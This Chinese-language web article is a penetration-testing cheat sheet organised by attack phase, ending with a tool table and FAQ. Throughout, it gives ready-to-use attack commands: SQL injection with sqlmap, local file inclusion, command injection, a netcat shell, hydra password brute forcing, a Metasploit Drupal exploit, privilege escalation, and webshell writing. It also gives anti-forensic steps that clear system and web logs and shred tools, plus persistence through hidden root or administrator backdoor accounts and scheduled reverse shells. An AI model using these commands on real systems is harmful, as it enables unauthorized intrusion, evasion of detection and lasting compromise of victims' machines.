web渗透命令是网络安全领域中用于检测和利用Web应用程序漏洞的技术手段,这些命令通常结合工具和手动操作,帮助渗透测试人员发现系统弱点、获取未授权访问权限或评估安全性,以下从信息收集、漏洞扫描、漏洞利用、权限提升和痕迹清理五个阶段,详细说明常用的web渗透命令及相关工具的使用方法。

在信息收集阶段,目标是获取目标网站的基本信息,如域名、IP地址、子域名、开放端口和服务器类型等,常用的命令包括nslookup和dig,用于查询域名解析记录,例如nslookup example.com
或dig example.com any
可以获取域名的A记录、MX记录和NS记录,子域名扫描常用工具如sublist3r,命令为sublist3r -d example.com -o subdomains.txt
,将结果保存到文件中,端口扫描使用nmap,命令nmap -sV -p- 192.168.1.1
可以扫描目标主机的所有TCP端口并识别服务版本,dirb和dirbust用于目录扫描,例如dirb http://example.com -w /usr/share/wordlists/dirb/common.txt
,通过字典暴力破解发现隐藏目录和文件。
漏洞扫描阶段需要借助自动化工具检测已知漏洞,如sqlmap、nikto和burp suite,sqlmap用于SQL注入测试,命令sqlmap -u "http://example.com/page.php?id=1" --batch --dbs
可以自动检测并获取数据库信息,nikto是一款Web服务器扫描工具,命令nikto -h http://example.com
能扫描Web服务器的漏洞和配置问题,burp suite作为代理工具,通过拦截和修改HTTP请求,手动测试XSS、CSRF等漏洞,例如在搜索框输入<script>alert('XSS')</script>
观察页面响应,对于文件上传漏洞,可以使用burp suite截断上传请求,修改文件类型或绕过黑名单检测。
漏洞利用阶段是渗透测试的核心,针对发现的漏洞执行攻击操作,以文件包含漏洞为例,命令curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php"
可以读取并解码文件内容,命令执行漏洞利用时,curl "http://example.com/cmd.php?cmd=whoami"
或nc -lvp 4444 -e /bin/bash
结合反弹shell获取目标系统权限,对于弱口令登录,可以使用hydra进行暴力破解,命令hydra -L users.txt -P passwords.txt example.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
尝试用户名和密码组合,metasploit框架(msfconsole)提供了模块化漏洞利用方式,例如use exploit/multi/http/drupal_drupageddon
可针对Drupal历史漏洞进行攻击。
权限提升阶段在获取低权限shell后,通过系统漏洞或配置错误提升至root权限,Linux系统中,命令sudo -l
查看当前用户的sudo权限,若发现NOPASSWD: ALL
,可直接执行sudo /bin/bash
提权,内核漏洞利用如searchsploit linux kernel 2.6.22
查找公开漏洞,编译后执行获取root权限,Windows系统中,whoami /priv
查看用户权限,利用windows-exploit-suggester
工具匹配内核漏洞,或使用powershell -encodedcommand
执行下载的恶意脚本,数据库权限提升方面,MySQL中SELECT INTO OUTFILE '/var/www/shell.php'
可写入webshell,前提是当前用户具有FILE权限。

痕迹清理阶段需删除日志和工具文件,避免被追踪,Linux系统中,命令echo > /var/log/apache2/access.log
清空Apache访问日志,rm -rf ~/.bash_history
删除历史记录,Windows系统中,wevtutil cl Security
清除安全事件日志,del /f /s /q %temp%\*
清理临时文件,使用shred -f -z -u /tmp/tool
彻底删除工具文件,防止恢复。
以下是常用web渗透命令工具及功能对照表:
工具名称 | 主要功能 | 常用命令示例 |
---|---|---|
nmap | 端口扫描与服务识别 | nmap -sV -p- 192.168.1.1 |
sqlmap | SQL注入漏洞检测与利用 | sqlmap -u "http://example.com/?id=1" --dbs |
burp suite | Web应用漏洞测试与拦截 | 手动修改HTTP请求或使用Intruder模块 |
metasploit | 漏洞利用与后渗透 | msfconsole; use exploit/multi/http/drupageddon |
hydra | 弱口令暴力破解 | hydra -L users.txt -P pass.txt example.com ssh |
dirb | 目录与文件扫描 | dirb http://example.com -w wordlist.txt |
相关问答FAQs
Q1: web渗透测试中如何判断目标网站是否存在SQL注入漏洞?
A1: 可通过手动测试或工具检测,手动测试时,在URL参数后添加单引号(如id=1'
),观察页面是否报错或返回异常信息;使用工具如sqlmap时,执行sqlmap -u "http://example.com/?id=1" --batch --level=1 --risk=1
,工具会自动注入测试并判断是否存在注入点,若存在注入,sqlmap会进一步获取数据库信息。

Q2: 在获得webshell后,如何维持访问权限?
A2: 可通过创建后门用户、植入webshell或利用持久化机制维持权限,在Linux系统中,添加用户useradd -o -u 0 hacker
并设置密码,或修改/etc/passwd
文件创建root权限用户;在Windows中,使用net user hacker P@ssw0rd /add && net localgroup administrators hacker /add
添加管理员账户,可上传c99等webshell脚本,或设置计划任务定期执行反弹shell命令,确保连接稳定性。